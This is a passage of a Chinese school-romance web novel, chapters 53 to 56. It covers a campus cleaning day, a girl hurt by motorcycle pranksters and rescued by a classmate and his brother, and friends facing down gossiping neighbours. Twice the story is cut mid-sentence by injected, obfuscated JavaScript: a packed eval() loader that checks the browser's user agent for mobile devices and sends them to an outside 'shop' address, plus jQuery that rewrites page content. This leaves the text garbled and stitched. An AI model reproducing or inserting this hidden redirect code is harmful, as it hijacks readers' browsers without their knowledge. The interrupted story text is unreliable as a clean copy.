少女难得的关心,许兰亭脸上顿时笑得灿烂,他重重地点头,“我会的,你放心。” 下课铃声响起。 许兰亭拿着水杯站起身准备去接水,然而他刚站起来的瞬间,身后突然伸出了一只手压在他的肩膀上,力道之大,将他压回了座位上。 许兰亭坐在椅子上,神色莫名地转身,便见陈恕探手拿过他手中的水杯,神色淡淡道:“接水吗?我去。” 说着,他神色淡淡地走到林听、张期期附近,将两人的水杯一并拿过便走出了教室。 教室门被打开又关上,许兰亭右手拍着大腿道,“陈恕这哥们挺上道的啊!” 张期期白了他一眼,嘟嘟囔囔道,“他本来就很好啊。” “是——”许兰亭故意拉长了声音。 林听埋头刷着试卷,听着他们得谈话,偷偷笑了笑。 * 下午第三节课上课铃声响起后,教室内的广播响起教导主任的声音,针对这一次的全校大扫除,教导主任谈了几点关于安全方面的要点之后便结束了演讲。 张扬站在讲台上,双手抱胸状,目光灼灼地盯着他班里的学生,“好了好了,都行动起来。” 班里的学生一脸生无可恋,他们拖拖拉拉地起身去教室后门的角落拿扫把、拖把、扫帚……有的去讲台下面拿抹布、小水盆…… 学校大扫除,学生并不是只打扫各自的教室,整所学校都需要打扫,比如走廊、楼梯、操场、或者有的班级分配到器材室等等…… 偏偏他们京照一中是真的很大,学校美名其曰要学生吃苦耐劳,所以一整学年下来至少两次打扫全校,平均每学期一次。 众学生唉声叹气的……张扬站在讲台上都气笑了…… “叹什么气,打扫卫生而已,我们那个年代还要割学校的杂草呢!弯腰割草,一整天下来,腰是真痛啊。” 许兰亭笑着道:“张老师,你的腰是不是就是……”他挤眉弄眼。 张扬瞪了他一眼,“少瞎说。你的手……你干不了活,你可以先回去。” “哇——” “羡慕——” 班里的同学故作阴阳怪气,调侃道。 林听此刻正拿着扫把扫到了他附近,闻言也低声道:“兰亭,老师说得对,要不,你先回家吧?学校打扫卫生,一会儿到处都是湿的,你手受伤了,回家方便一些。” 她低声细语地劝说他,还难得地唤了他的名字,许兰亭内心克制不住的欢喜,昨天摔断了手的疼痛仿佛消失了。 他嘴角微扬,笑着道:“没事,我会小心的。而且我回家也很无聊,家里就我一个人,还不如呆在学校看你们打扫卫生呢。” 少年说着话,定定地望着她,林听眼神闪躲,立刻移开视线,“哦,那你自己注意点。” 张期期眉眼一挑:“呆在学校看我们打扫卫生……许兰亭,你也不嫌碍大家眼。” 许兰亭大怒,“张期期,你说什么呢?”他起身做出一副要抓人的姿态。 张期期一惊,来真的? 她拔腿就跑,一转身撞上了陈恕,陈恕被撞得一个踉跄,却还是眼疾手快地一手将人揽在怀里,一手扶在了一旁的桌子上。 “哇哦——” 班里同学见状,起哄地吹着长长的口哨,甚至还有人鼓起了掌。 闹哄哄之下,饶是一向大胆的张期期也忍不住红了脸,她故作镇定地推开陈恕,瞪了瞪起哄得最大声的关宇。 陈恕抿了抿唇,垂在身侧的指尖悄悄攥紧,他对着许兰亭道:“别玩了。” 许兰亭:…… “不是……不是……她先阴阳怪气我的,你没听见没看见吗?” 陈恕盯着他看了一眼,拿着抹布转身去擦窗户了。 站在讲台上的张扬头顶大大的问好,不是……你们没看见我吗?我在这里呢,你们气什么哄啊! 他啧了一声,眼神在陈恕、张期期、林听、许兰亭身上转来转去,有情况!肯定有情况! - 周嘉先、陈恕从教务处多领了几把扫把、拖把,两人并肩着走在走廊上。 寒风呼呼,像穿堂风一样朝着走廊吹着,周嘉先抖了抖,“大冬天的,学校搞大扫除也是奇葩。” 陈恕没有回答,反而是他们身后的吊着一只胳膊的许兰亭也跟着抱怨,“该不会是学校觉得我们动起来就热了吧?哎……想不明白。” 周嘉先闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许兰亭右手捂着嘴,神秘兮兮道:“我们班女生都很好强的,我们一上去就帮忙,我怕她们觉得我们看不起她们,知道吧?所以呢……我们要等她们主动开口要帮忙,我们再上去,不然说不定人家觉得我们在冒犯她们呢……” 周嘉先、陈恕俱是一愣,啊…… 他们蓦然想起上一次在教室里看电影时的赌约,两人纷纷点了点头,好像是这个道理来着…… 许兰亭笑着道:“是吧?哈哈哈……” * 等全校大扫除结束的时候,已经过了平时放学的时间点。 许家、张家的车都停在校门口,张期期和陈恕、林听道了声“拜拜”之后就上了车,汽车扬长而去。 陈恕对着许兰亭、林听微微点头示意,“我先走了。” “好,拜拜。”许兰亭道。 林听也挥了挥手。 许兰亭磨磨蹭蹭地站在车门处,他摸着后脑勺,小声和林听商量道:“我手受伤了,最近没办法骑自行车陪你回家,要不,你坐我家的车,这个自行车放在后备箱,我送你回去!” 林听摇了摇头,“不用了。我自己回去就行的。” 许兰亭看了她一眼,又道:“那我坐车里,跟在你后面陪你回去?” 林听再次摇了摇头,“真不用这样。我先走了,明天见。”她踩上自行车就想离开。 ……她实在不想体验一辆豪车慢吞吞地跟在她这个骑自行车的人身后,那样回头率简直不要太高。 许兰亭想起那些开着鬼火的非主流少年,今天又是周五,即将放假了,他想着总觉得不安全,但…… 他按住林听的自行车,林听抬眸看着他,被她一注视,许兰亭立刻投降了,只好道:“没事,我就是想说,有事给我打电话,行……行吗?” “好。” 54. 第 54 章 - 京照市街道两旁的植物在步入冬季之后大多都渐渐凋零,而此刻林听骑着自行车在的这条街却是个例外,道路两旁的榕树树冠依旧繁盛,只偶尔随风掉落几许叶子。 风渐渐大了,树冠摇摆着,橘黄色的路灯在道路上投下斑驳的光影。 大扫除是班主任张扬今天当天说的,所以奶奶并不知道她今天会晚回去一些,林听有些担心,怕奶奶着急担忧她。 她扫了一眼昏暗的天色,加快骑自行车的速度。 蓦然,街路的后方由远及近传来摩托车的轰鸣声,林听往后方看了一眼,是那些总在周末骑着鬼火摩托车狂飙的少年们。 她心有戚戚,恨不得离这些人远一点,便像往常一样赶紧骑到道路的边缘,将最中间的路让给他们耍。 身后摩托车的轰鸣声越来越近,林听攥紧自行车把手,等待这些人像以往一样飞驰而过。 “嗷——” 一声几乎要惊破耳膜的嗷叫声突然贴着林听的耳边炸响。 林听心脏猛然跳动,下意识惊叫出声,她握住车把的手瞬间一抖,车子立刻失去了平衡,“砰”的一声连人带车摔在了地上。 痛!她忍不住皱起眉头,嘶了一声,起不来……她起不来…… 见状,那群少年哈哈大笑,满脸是恶作剧得逞后恶意笑容,他们骑着摩托车在林听面前兜了一个又一个的圈子,最后像是欣赏够了她的狼狈之后,才扬长而去。 林听抿着唇坐在地上,她拽着袖子狠狠擦了擦耳朵,刚才那人故意贴着她的自行车,故意贴在她耳朵旁嚎叫一声。 无限贴近的时候,对方嘴里呵出的热气仿佛还萦绕在她的耳边,她的眼底闪过浓浓的嫌弃,恶心死了…… 林听尝试着动了动右脚,“嘶……”不行……太痛了。 她看着砸在她右脚上的自行车,只能手上用力将其挪开。 林听动了动左脚,又是痛苦地皱起了眉头,她的两只脚都伤到了,一只是被自行车砸到了,一只估计是崴到了。 “臭傻逼。”林听气得咬牙切齿地骂了一声。 冬日的天一寸寸灰暗下去,寒风卷着地上的残叶飘起又落下。 林听双手撑在地面上,尝试了无数次都没办法从地上起身,她看着嵌在手掌心的灰尘颗粒,一种难以言说的委屈顿时席上心头。 爸爸妈妈…… 奶奶……奶奶还在家里等着她,怎么办?怎么办!她坐在地上,望着这空旷无人的街道,满眼无助。 “叮~” 校服外套的口袋里突然传出一声声响,林听顿了顿,眼神突然亮了起来…… 她连忙从口袋里拿出手机,手机的屏幕正亮着,是许兰亭发过来的信息。 「林听,我到家了,你呢?到家了吗?」 带着寒意的冷风一吹,树叶落在了她的衣服上,林听吸了吸鼻子,打开手机通讯录,指尖停在“A兰亭”上。 她吸了口气,按下电话,拨打出去。 手机“嘟——”响了一声,电话那边瞬间接通了。 “是我,林听。” “我、我摔了一跤……” “没那么严重,就是我站不起来了……我……” “在两边是榕树的那条路上。” - 另一边,许家的汽车开到了院门口,许兰亭下了车后发现他哥的车也停在院子门口。 “叔……我哥怎么回来了,他不是出差去了,过几天才回来吗?怎么这么快就回来了?”许兰亭压低声音在车门处兜兜转着走,不敢踏入家门。 ……他摔伤的事情他是真不敢告诉他哥,想着能拖几天是几天的。 许家的司机连忙摆了摆手,“我也不知道,我没告诉小许总啊。” “唉——”许兰亭重重地叹了口气,“没事,叔,你先回去吧。” “好,那我先回去了,你快进去吧,你这手,伤筋动骨的,至少得一百天才好,瞒不了小许总多久的。” 汽车扬长而去,许兰亭看了眼自己吊着的胳膊,认命地进了家门。 一进门,他顿时吓了一大跳,他哥黑着脸站在玄关门口就等着他呢! “哥、哥……”他神色忐忑:“你怎么回来了?不是出差吗?” 许敬亭的目光停留在对方的胳膊上,脸色更加难看了,此时闻言,他冷哼一声,“我不回来,你就打算瞒着我是吧?” 说完,他转身往客厅走去,坐在了沙发上,男人微微靠在沙发的靠背上,好整以暇地盯着许兰亭看。 许兰亭低眉顺眼地跟着走到了沙发前,他正准备坐下时,许敬亭冷声道:“我让你坐了吗?” 许兰亭立刻站直,做出“愧疚”的模样,“哥~” “说说吧,这手怎么搞的,打篮球伤的?”许敬亭将鼻梁上的眼镜拿下来,放在茶几上。 “嗯。我不小心的,哥,下次我会小心点的。”许兰亭偷偷抬眸瞥了他哥一眼,慢吞吞道:“哥……你怎么知道的?” 许敬亭:…… 他伸手捏了捏鼻梁,下巴微抬着指了下门口,“你忘了,我们家门口有监控。” 许兰亭恍然大悟地拍了一下自己的额心,他真的忘记了……一定是今天早上他吊着胳膊出门上学,刚好被他哥从监控上远程看到了! 许敬亭皱着眉头,“这手,医生怎么说?” “就是骨头稍微裂了而已……我……” 他的话还没说完,装在校服口袋里的手机突然响了起来,这铃声是他专门为林听设置的特殊铃声。 许兰亭面色一变,林听打电话给他肯定是出了什么大事,毕竟她一直是恨不得和他泾渭分明的。 他连忙从口袋里拿出手机,动作一大,便不小心扯到了手上的胳膊,许兰亭下意识地“嘶……”了一声。 坐在沙发上的许敬亭见状,眉心皱得紧紧的。 “林听!” “出什么事了?” “严不严重啊?” “你现在在哪里?” “别挂断电话,我现在就过去……你等我一会儿,我马上就到。” 许兰亭正说着,坐在沙发上的许敬亭闻弦知意,立刻拿过茶几上的金丝眼镜戴上,随后起身拿了车钥匙,他道:“走,地址哪里?” 许兰亭感激地看着自家哥哥,“何榕大道。” 许敬亭点头,往院门外走去,许兰亭一边安抚着林听,一边跟在他哥身后坐上了副驾驶的位置。 周五,路上的路人、汽车越来越多,在市中心这一带,他们不可避免地遇上了堵车。 许兰亭满眼焦急地看着前方一动不动的汽车车流,他手机的通话还在继续着,“别担心,我们很快到的……” 虽然焦急,但他和林听说话的语气却很不显得急躁,许敬亭手握在方向盘上,余光瞥了一眼身旁的弟弟,嘴角微微露出一丝笑意。 原来在他眼中幼稚又急躁的弟弟,在喜欢的女孩子面前倒是显得从容成熟一点…… 夜幕之上的浓云飘动着,月色时不时被遮住,约莫半小时后,他们终于开到了何榕大道。 许敬亭放慢车速,将两边的车窗都摇下来,寒风一下子吹进车内,许兰亭下意识地瑟缩了一下。 ……风这么大,林听坐在地上吹了那么久的风,肯定要冻坏了! 这一刻,许兰亭紧紧抿了抿唇,放学的时候他就不应该因为害怕她生气进而妥协的,要是……要是他强硬一点,送她回家,是不是就不会发生这样的事了…… “林听,我们到何榕大道了。” 话刚说完,手机通话突然中断了,许兰亭这下子是真的着急了,“林听、林听……喂!喂!” 许敬亭皱了皱眉头,“别着急,可能是她手机没电了,你看看你,你手机一直插着充电。” 闻言,许兰亭瞥了一眼插在车上的充电数据线,心里才松了一口气。 刺眼的灯光远远地出现在何榕大道上,林听握着手机的手冻得冰冷僵硬,电话嘟地一声断开了。 她僵硬地将手机从耳边拿开,手机屏幕上一片漆黑,她低声磕磕绊绊道:“是、没、没电了啊……” 汽车由远及近地开到了她的面前,停了下来。 车门打开,许兰亭一下子蹿了下来,“林听!” 道路两旁的路灯被盛大的榕树遮挡住,一大片的阴影投射在地上,少女穿着单薄的校服孤零零地跌在冷硬的道路边缘。 她纤细单薄的身影隐没在其中,方才他们开着车差点就没看见她。 “兰亭……” 寒风吹得她浑身都冷得微微发着抖,看着眼前的许兰亭,林听忍不住心底一阵酸涩和委屈。 这半个小时,她坐在空无一人的大马路上,既期待着有过往的车出现,又害怕出现的是不怀好意的人。即便和他通着电话,她依旧心惊胆战。 他终于出现了,林听那颗一直提着的心才缓缓落下,绷着的精神放松之后,她越发觉得冷到骨子里了…… 真的好冷。 …… 许兰亭连忙跑到她身边,蹲下身子,担忧、心疼地看着她,“没事没事啊!我扶你起来……”他连忙伸出那只完好的左手准备扶起她。 林听这一刻才蓦然想起来,兰亭……他的手受伤了。 “对不起,你都受伤了,我还要麻烦你……我……” 许兰亭赶紧道:“我没事,都是小问题,你手扶在我的胳膊上,看看能不能起来……” “好。”林听双手抱住许兰亭的胳膊,双手发力。 “嘶……” 林听一顿,跌回了地上,“不行,我的脚动不了。” 这时,突然出现一阵沉稳的脚步声,坐在地上的林听皱着眉头抬眸望过去,汽车刺眼的大灯还没有关闭,她微微眯起眼,光芒中出现一个穿着黑色西装的男人身影。 随着他的走近,他的面容越来越清晰,待完全看清他的样子时,林听顿时愣住了。 ……这……她下意识又看了一眼许兰亭,视线在他们之间来回切换,这……他们两人长得好像啊。 “哥!”许兰亭仿佛见到了救星,连忙开口喊道。 哥?林听顿了顿,原来是兰亭的哥哥啊。 许敬亭走近、半蹲下身子,属于成年男人的气场变得格外具有存在感,他看了一眼冻得脸色发白的少女,眉头皱紧。 林听下意识地瑟缩了一下,眼前的男人虽然是兰亭的哥哥,长得和兰亭格外地像,但他散发的气场格外具有压迫感。 许敬亭眼神微动,礼貌性地朝她微微颔首,随后他看向一旁自己的弟弟,他的视线在他身上、手臂上转了一圈。 啧……他恨铁不成钢地啧了一声,这手捆成这样,外套也脱不下来。 “抱歉,冒犯了。”许敬亭低声道,他脱下自己的西装外套披在林听的身上,后又俯下身一手抱住对方的肩膀,一手绕过她的膝盖后方,将人从地上抱了起来。 身体突然浮空,披在她身上的西装外套正要滑落,林听下意识地伸手攥住,等她回过神后意识到自己现在在兰亭他哥哥的怀里时,她蓦然浑身僵硬。 林听下意识地看向一旁的许兰亭,对方对她笑了笑,眼神充满安抚的意味,随后他又赶紧跑到汽车旁将后座的车门打开。 许敬亭抱着林听走到汽车后座车门处,他弯腰轻手轻脚地将对方放在座位上。 车里开着暖气,林听一坐进去便觉得僵硬发冷的身体微微暖和舒适了一些。 车内温暖,车外寒冷,温差导致车窗玻璃出现了淡淡的水雾,林听透过朦胧的窗玻璃,看见许兰亭的哥哥走到她方才跌坐的位置处将她的自行车拎了起来。 他拎着她的自行车走了过后,将其放在了汽车的后备箱里,她侧首回头,猝不及防地对上了他的目光。 许敬亭朝她微微颔首,随后将后备箱合上一些,却无法关紧。因为自行车过于长了,所以哪怕是打斜着放,依旧会有一部分的轮子悬空在车外。 他伸手摇了摇车子,确保放置得还算稳当,便走向驾驶座。 许兰亭见状,从汽车的前端绕到另一边的后座车门处,他打开车门上了车,坐在林听的身旁。 汽车发动,林听顿了顿,斟酌道:“我家就在这条路的尽头,拐个弯就到了……” 说到这里,她面色尴尬、忐忑,因为前方拐弯后是小小的巷子,巷子里根本无法通行汽车,她又没办法走路,兰亭手又受伤了……可是让人家兰亭的哥哥抱她回家,她总觉得非常别扭。 许敬亭闻言没有说话,他通过后视镜看向后排的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214127|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟弟。 许兰亭连忙道,“我先送你去医院看看,我们看完之后再送你回来。” “不用了,不用了,太麻烦了。”林听连连摇头。 “不麻烦。一脚油门的事。”许敬亭旋转着方向旁,神色淡淡道。 他一说话,林听便不敢开口反驳了,她看了身旁的许兰亭一眼,这……长得这么像,可那人身上的气场和许兰亭却完全不一样。 许兰亭点头:“是啊,不麻烦的,脚都走不了了怎么能不看医生呢?” 林听只能同意,“那……那好吧。” 汽车调了个头平稳地开向市中心的第一医院,车内温度暖和,林听已经完全缓过来了…… 她垂眸看着自己身前的西装外套,小心翼翼地捏着领子递给一旁的许兰亭,小声道:“衣服、衣服不用了,谢谢你哥哥。” 许兰亭咋呼道:“等会儿下车进医院,外面天气很冷的,你快穿上。” 他单手拎着衣服,着急地想给林听穿上。 前排驾驶座的许敬亭眼底闪过一丝无奈的笑意,这臭小子……有了喜欢的女孩子倒是忘了哥哥,他还只穿着衬衫、马甲呢。 “穿着吧,刚刚吹了那么久的风,别等会儿又吹一次。”许敬亭目视前方开着车淡淡道。 “对啊对啊,我哥说得对。穿上穿上。” 林听无法,只能任由着许兰亭将西装外套披在她身上,甚至他还示意着她将两只手都穿进袖子里。 西装外套的袖子有些长,许兰亭见状,左手伸过去帮她抡起来,指尖擦过林听的手掌心时,他蓦然一顿。 少年伸手按开了头顶的小灯,昏黄的光线投射下来,他伸手将她的掌心翻过来,上面是破了皮的擦伤口,以及一个个小小的凹陷。 他知道……那是手掌用力按在地上、被地上的灰尘颗粒挤压的。她一定无数次试图自己从地上起身,一定是完全没有办法了,才打电话给他…… 许兰亭抿了抿唇,心情低落,他指尖轻轻地滑过的她的手掌心,“等会儿手也得处理一下。” ……若不是他发现了,她肯定是不会说的。许兰亭心中长长地叹了一口气,他在汽车车把手的位置处摸到了一包薄薄的湿巾。 他单手扣开盖子,从里面取出一张来,轻轻地将擦伤处的灰层擦拭掉,又将她整个掌心都擦干净了。 林听微垂着眼帘,任由对方细细地帮她清理着手心的脏污,一向笑容肆意、大大咧咧的大男孩,此刻却显得格外地温柔和细心。 兰亭…… 许兰亭:“另一只手。” 林听乖乖地伸出另一只手,手掌心向上,伸到他的眼皮底子下。 前方是个十字路口,此时正遇上了红灯,车子平稳地停住了,许敬亭瞥了一眼后视镜,从后视镜里看着神色沉静认真的少年少女,他嘴角溢出一丝的笑意。 哎……年轻小孩子的酸臭恋爱气息…… 绿灯亮起,汽车再度行驶,十几分钟后停在了第一人民医院的门口。 许敬亭打开车门下了车,从车前绕到另一侧的后座车门处,他打开车门,又道了一声:“抱歉,冒犯了。” 他将林听抱起,许兰亭也连忙下了车跟在他们后面。 许敬亭将林听轻轻地放在骨科科室门外的长椅上,吩咐许兰亭道:“看好你的同学,我去挂号。” 许兰亭连忙点头,“好,哥你去吧,这里我看着就行。” 许敬亭颔首,匆匆离开了。 他一离开,林听整个人明显松了一口气,人都没有那么绷直了。 许兰亭见状顿时一笑,“我哥没有那么恐怖吧,你不觉得他和我长得差不多?” 林听点了下头,“是很像。” 许兰亭忍俊不禁,“确实像哈哈哈,我都觉得过个几年,他现在的样子就是我以后的样子。” 林听抿了抿唇,那可不一定,长相确实像,但两人浑身的气质、气场完全不一样。 许敬亭挂了号,很快就过来了,林听又是一绷,许兰亭在一旁噗呲噗呲地笑着。 许敬亭:……女朋友都受伤了,还在这里笑? 骨科科室里并没有多少人,所以很快就叫到林听的号了,许敬亭便将人抱进去科室内。 医生一抬眼看见两个长得格外相像的男人跟两大门神似的站在女孩子的身边,其中一个还吊着胳膊…… 他嘴角抽了抽,视线在吊着胳膊的男生和坐在椅子上的女生来回切换。 “是……哪位要看?还是两位都看?” 许敬亭:“她。”他指了指林听。 医生和林听交谈着,问了她几个问题,又上手按着她受伤的脚的骨头动了动,林听忍不住“嘶”了一声。 医生:“唔……都还好,没有伤到骨头,就是肿起来了,至于左脚可能是扭到筋了,拿点药擦一擦就好。过几天就能好了……” 林听点点头,许兰亭则满脸庆幸,幸好没有伤到骨头,他最是知道伤到骨头有多痛多麻烦的,“好好好,谢谢医生。” 医生开了药方递给了他们,许兰亭连忙接过,许敬亭又俯下身将林听抱起来。 走到岔路口的时候,许兰亭正要往药房去,许敬亭见状拧起了眉心,“药等会儿我去拿就行,你跟上。” ……这小子,没见人家女孩子情绪紧绷着吗?居然还离开?甚至放心地将喜欢的女孩子单独交给别的男人手上,虽然……他是他哥,但也不行啊! 许兰亭顿了顿,“哦,好。” 将林听再次放到后座上后,许敬亭抽走了他弟弟手中的药方,“你上去陪陪人家。”说完,他大步往医院药房的方向走去。 汽车上。 林听望着许兰亭哥哥走远的身影,低声道:“给你们添麻烦了。” 也是这个时候,她突然想起来,其实她完全可以打电话叫救护车的,而不是傻傻地打给了手受伤的许兰亭,更甚至他还带上了他哥哥。 “林听……别这么说,你说过我们可以做朋友的。如果今天是我受伤,你肯定也不会觉得麻烦的,对吗?”许兰亭笑着道。 汽车内后排昏暗的小灯洒下了橘黄色的暗淡光芒,少年眼眸中带着灿烂的笑意,他正望着她笑。 林听愣愣地点了下头,片刻后,她又道:“谢谢你们。” 55. 第 55 章 - 周日,上午。 林听坐在书桌前垂头刷着试卷,她的书桌前是一面面向小巷子的窗户,小巷子来来往往地格外喧闹,总有人说说笑笑地走过,又或者是骑着自行车、摩托车行驶过…… 她已经习惯了这嘈杂的声响,林听之所以不把书桌放到别的位置去正是因为只有面向小巷子这扇窗户这里的光线会比较好。 大白天的时候她并不喜欢开室内的灯管,她更加喜欢自然光线。 林听刷完了一张物理试卷之后,就手握着轮椅的轮子用力转动着,转到床边的柜子处,柜子上面放着她的书包,她将书包放到腿上,又转动着轮椅的轮子来到书桌前。 这轮椅是周五那天许兰亭的哥哥前去药房拿药的时候顺道买的。 …… 「哎,前天你看见没有……林家那小妮子那天居然是被一个男人抱回来的呢。」 「哦!我知道我知道,当时我刚好走到巷口的拐角,那个男人开的那辆车,至少上百万,你说这小妮子哪里认识的这么有钱的人啊!她不是还在读书吗?」 「哼,谁知道读的什么书啊,估计啊背地里干别的勾当呢。」 「不能吧……她不是成绩很好吗?在一中读书呢。」 「现在的有钱人就喜欢书读得好的、年轻的、漂亮的……」 「……」 坐在窗前的林听死死地攥着手心的黑色水笔,这些人在哪里议论自己不好,非要跑到她的窗户底下,明摆着就是故意说给她听的,也是……她们家就她和奶奶两个人,一老一少的,谁又会有所顾忌呢,但是,她林听可不是那种任由别人拿捏的人。 她余光一瞥,视线顿时落在书桌上的玻璃杯子上,林听抄起杯子往窗户外一扔。 “啪——”是玻璃杯子砸在地上碎掉的声音。 与此同时,窗户外顿时响起一声尖叫声,“有病啊,往窗户外扔玻璃杯,差点就砸到我了。” 陈余看着脚边的玻璃碎片,心有余悸。她手放在胸前不住地缓着气,又跑到正对着林听的窗户前指着她破口大骂,“哎呀呀,不会是我们说对了,你恼羞成怒了吧?” 林听隔着窗户与她对视,她认出来了,这个人是住在巷子尾的,两年前她读初三的时候,对方就让她给她准备小升初的儿子补课。 当时顾念着大家都是一条巷子的,又是给一个小孩子补课,她也就去了,可没想到那个小升初的男孩子居然在她补课的时候对她动手动脚的,后来,她就用初三学习任务重的理由拒绝再次给她儿子补课。 就因为这件事,之后对方看她鼻子不是鼻子,眼睛不是眼睛的,甚至她后来考上一中之后,对方也在背后说酸话。 林听懒得和她对骂,她看了一下手边,准备再一次抄起东西砸过去。 然而,窗户外再次传来一声惊叫声,这声惊叫声比起方才的更尖锐刺耳,甚至还有刚才其他议论者的惊呼声。 林听疑惑又惊讶地抬眸望过去,窗户外的不远处一个像小牛犊子一样的少女对着陈余和她周围的人一顿乱撞,场面堪称人仰马翻。 林听惊愕不已,“期期?期期!” 随即她的视线里又出现了许兰亭,许兰亭一个箭步冲上去,做出拉架的模样,“别打了,别打了!” 他张开一只手,拦住那些冲过去准备殴打张期期的中年妇女,看似在拉架,实则是将那几个中年妇女攥住,让张期期一下又一下地下着黑手,配合得简直天衣无缝。 他甚至还喊着,“我的手受伤了,谁谁谁,谁敢动我,把我再弄伤,我要找你们赔医药费。” 他这话一出,陈余这些人顿时束手束脚的,好半响,双方终于拉开了距离,呈现对峙的态势。 林听此时也坐不住了,她手忙脚乱地转动着轮椅的轮子,一步步往外面去…… 在中年妇女还未开口之前,张期期从口袋里拿出手机举得高高的,将她刚才录了的视频播放出来…… 视频里,陈余和其他几个中年妇女正在阴阳怪气、意有所指地说着关于林听的那些话。 陈余几人面面相觑,脸色难看,猜测着这个像小牛犊的少女到底想干什么…… 张期期瞪着她们,喊道,“我有证据,我要告你们诽谤侮辱我的朋友。” 陈余一听,顿时嘲笑出声,“小孩子的,还要请律师啊,你有钱没有啊?” 张期期哼笑一声,“既然你们说前两天看见有人抱着我的朋友,那你们总不会没看见他吧?”他将许兰亭扯了过来。 陈余身旁的一名中年妇女脸色顿时一僵,她想起来了,当时确实还有一个吊着胳膊的少年,那…… 她脸色大变,那辆至少上百万的汽车,有钱人家的孩子!他们是请得起律师的。 其他人见状,纷纷明白了这一点,陈余眼珠滴溜溜地转动着,……只要、只要把她的手机抢过来,把视频删掉不就没有证据了吗?而且她们四个人,对面也就一个半大丫头,半大小子,那小子还伤了手臂,她们还怕什么! 陈余几人对视一眼后,一齐慢慢地逼近张期期和许兰亭。 张期期嗤笑一声,哪里能不明白她们的想法,她抱胸施施然道:“这份视频我已经发给了律师。还有……我动手之前就已经发信息给我叔叔了,他马上就到。” 话音刚落,李叔就出现在巷子口了…… “干什么!”李临看清场面,顿时大喝一声。 刚才车子开不进小巷子,他也就停在外面,像往常一样坐在车里等着期期、兰亭就是,突然收到消息时,李临惊了一身。 陈余几人看着一身黑色西装,胳膊大腿粗壮、身材板直的中年男人,顿时脸色一白,这……这不会是有钱人家的保镖吧! 这下子她们是真的慌了…… 与此同时,林听也出现了,她费力地转动着轮子,许兰亭闻声赶紧跑过去,“我来我来……林听,你怎么出来了?” 李叔见期期和兰亭身上都没有伤口,知道 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“对此,我只能说心脏的人看什么都是脏的。好了,我的话都说完了,你们道歉吧!” 陈余脸色憋得像便秘一样难看,偏偏又说不出来什么,几人站在原地互相推诿着。 张期期冷笑一声,“不道歉是吧,那好,等着法院的传票吧。” 法院、传票……陈余面色苍白,她没想到在她眼里可以随意拿捏的小孩子居然能够平淡地说出这些她们平日里退避三舍的词语。 “对不起。”陈余抹了把脸,硬着头皮道。 她一开口了,她身旁的中年女人也跟着开口道歉。 张期期:“不是和我道歉,是向我的朋友林听道歉。” 陈余一顿,心里恶狠狠地骂着,狗拿耗子多管闲事,她看了林家的小妮子一眼,垂着头,心里暗骂着走过去,“对不起啊,小听,是陈姨说错了,你和你朋友说说,咱们好歹也是一条巷子里生活的邻居,这事啊就这么过去了吧。” 她拍了拍大腿,尽是一副长辈的口气。 哼……她拿捏不了那个有钱人家的小丫头,还能拿捏不了林家这个穷丫头? 林听抬眸看她,“我没有背地里侮辱别人、给别人造谣的阿姨。” 陈余气急,“你……” 许兰亭绷着脸,“不会好好道歉是吗?还想着摆谱,你当自己又是哪根葱啊!” 陈余咬牙切齿,想着那辆至少上百万的车,一狠心把头低下去,“对不起。” 其他人见状,也跟着站在林听的面前开口道歉。 林听看着她们久久沉默,当年她父母不在之后,巷子里那些曾经和蔼可亲的邻居好像在一夜之间突然换了另一副面容和心肠。 “兰亭,期期,我们走吧。”林听道。 张期期:“好。” 走过陈余这些人身边时,她撂下一句话,“视频我不会删的,下一次要是再造谣林听,我一定告你们。” 56. 第 56 章 - 许兰亭推着林听进了屋内,这是他第二次来她家了,他熟门熟路地绕开平房内堆积成山一般的纸盒子,将轮椅停在了客厅的长椅附近。 “奶奶呢?”许兰亭张望了一番后问道。 林听:“她去附近的菜市场买菜了……这个点,她应该快回来了。” 许兰亭点点头,“哦!” 他顿了顿,突然想起来,“林听,你家的扫把在哪里,外面的玻璃碎片我得去扫掉,万一奶奶或者其他人不注意,扎到就麻烦了。” 林听点头,指了指大门,“在大门后面。” 许兰亭起身拿了扫把、扫帚就出去了。 林听拍了拍旁边的长椅道,“期期,快坐。”说着她伸手转动轮椅…… 张期期顿时着急,才坐下又站起来,“你要干什么吗?我推你去。” 林听连忙摆手,“不是不是,我给你倒杯水。” “哎……不用。我坐着就行。再说,我要是想喝,我就自己倒。” “那好吧。”林听顿了顿,“你们、你们怎么来了?” 张期期伸手顺着散乱的发丝,一边神色随意道:“周五回去,兰亭就说了你受伤这件事,我本来周六就想过来看你的,但……” 她突然小心翼翼道:“……我周六有绘画课的培训班要上,所以今天才来,你可不要生气啊。” 林听笑着:“我怎么会生气呢!而且我只是扭伤了脚,不是什么大事。” 两人说说笑笑着,又从客厅的茶几下面拿出一张试卷和两只黑色水笔谈论起学习来。 - 许兰亭出门扫玻璃碎片的时候,突然想起来他和张期期带了一些东西来上门做客的,就放在车里,刚刚下车得急给忘记了。 将玻璃碎片扫好后,他刚走到巷子出口时便遇上了方才回到车里的李叔。 李临拎着大包小包的,正好走过来,“诶,兰亭,你和期期带过来的东西在这呢。需要我拎进去吗?” 许兰亭:“不用了,我拎进去就行。” 李临也知道他作为大人在场的话,小孩子聊天什么的都不自在,也就不凑过去了,只是道:“有什么打给我。”说完,他将东西递给许兰亭。 “好。” 许兰亭单手大包小包地拎着一大堆东西,腋下还夹着扫把扫帚的,他一进来,看见客厅茶几上面的试卷题时,整个人都懵了。 “……你们可真是时时刻刻都在学习啊,搞得我总觉得和你们格格不入!唉。”他极为夸张地叹了一口气。 